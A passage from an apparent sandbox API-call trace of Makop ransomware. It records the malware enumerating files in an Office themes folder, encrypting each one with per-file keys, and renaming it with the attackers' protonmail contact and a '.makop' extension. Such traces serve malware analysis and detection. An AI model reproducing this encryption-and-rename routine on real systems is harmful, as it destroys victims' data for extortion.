ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0095.754] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS") returned 62 [0095.754] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*.*") returned 66 [0095.754] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0095.756] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.756] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 1 [0095.756] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned 73 [0095.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0095.756] GetProcessHeap () returned 0x48a0000 [0095.757] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.757] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.757] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0095.757] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x9, lpOverlapped=0x0) returned 1 [0095.761] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.761] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.761] GetProcessHeap () returned 0x48a0000 [0095.761] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0095.761] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0095.761] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.761] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0095.761] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0095.761] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0095.762] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0095.762] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0095.762] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0095.762] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.762] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.762] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.762] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x10db7, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x10db7, lpOverlapped=0x0) returned 1 [0095.765] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x10dc0, dwBufLen=0x10dc0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x10dc0) returned 1 [0095.766] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.766] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x10dc0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x10dc0, lpOverlapped=0x0) returned 1 [0095.766] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.766] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x10e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.767] SetEndOfFile (hFile=0x138) returned 1 [0095.774] GetProcessHeap () returned 0x48a0000 [0095.774] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0095.774] GetProcessHeap () returned 0x48a0000 [0095.774] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.774] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0095.774] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.776] CloseHandle (hObject=0x138) returned 1 [0095.776] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb59ad00, ftCreationTime.dwHighDateTime=0x1c4d794, ftLastAccessTime.dwLowDateTime=0x5f729350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb59ad00, ftLastWriteTime.dwHighDateTime=0x1c4d794, nFileSizeHigh=0x0, nFileSizeLow=0x216, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.INF", cAlternateFileName="")) returned 1 [0095.776] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF") returned 73 [0095.776] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0095.780] GetProcessHeap () returned 0x48a0000 [0095.780] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.780] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.781] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0095.781] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xa, lpOverlapped=0x0) returned 1 [0095.784] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.785] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.785] GetProcessHeap () returned 0x48a0000 [0095.785] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0095.785] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0095.785] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.785] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0095.785] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0095.785] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0095.785] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0095.786] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0095.786] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0095.786] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.786] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.786] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.786] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x216, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x216, lpOverlapped=0x0) returned 1 [0095.786] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x220, dwBufLen=0x220 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x220) returned 1 [0095.786] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.787] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x220, lpOverlapped=0x0) returned 1 [0095.787] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.787] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.787] SetEndOfFile (hFile=0x138) returned 1 [0095.793] GetProcessHeap () returned 0x48a0000 [0095.793] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0095.794] GetProcessHeap () returned 0x48a0000 [0095.794] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.794] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0095.794] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.808] CloseHandle (hObject=0x138) returned 1 [0095.808] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0095.808] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0095.808] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0095.810] GetProcessHeap () returned 0x48a0000 [0095.810] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.810] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.810] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0095.810] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xb, lpOverlapped=0x0) returned 1 [0095.815] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.815] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.815] GetProcessHeap () returned 0x48a0000 [0095.815] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0095.815] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0095.815] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.815] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0095.815] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0095.815] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0095.816] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0095.816] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0095.816] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0095.816] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.816] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.816] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.816] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x885, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x885, lpOverlapped=0x0) returned 1 [0095.817] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x890, dwBufLen=0x890 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x890) returned 1 [0095.817] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.817] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x890, lpOverlapped=0x0) returned 1 [0095.817] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.817] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.817] SetEndOfFile (hFile=0x138) returned 1 [0095.824] GetProcessHeap () returned 0x48a0000 [0095.824] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0095.824] GetProcessHeap () returned 0x48a0000 [0095.824] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.824] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0095.824] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.825] CloseHandle (hObject=0x138) returned 1 [0095.825] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0095.826] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0095.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0095.826] GetProcessHeap () returned 0x48a0000 [0095.826] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.826] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.826] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0095.826] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xd, lpOverlapped=0x0) returned 1 [0095.845] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.845] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.845] GetProcessHeap () returned 0x48a0000 [0095.845] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0095.845] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0095.845] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.845] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0095.845] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0095.845] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0095.846] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0095.846] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0095.846] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0095.846] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.846] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.846] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.846] ReadFile (in: 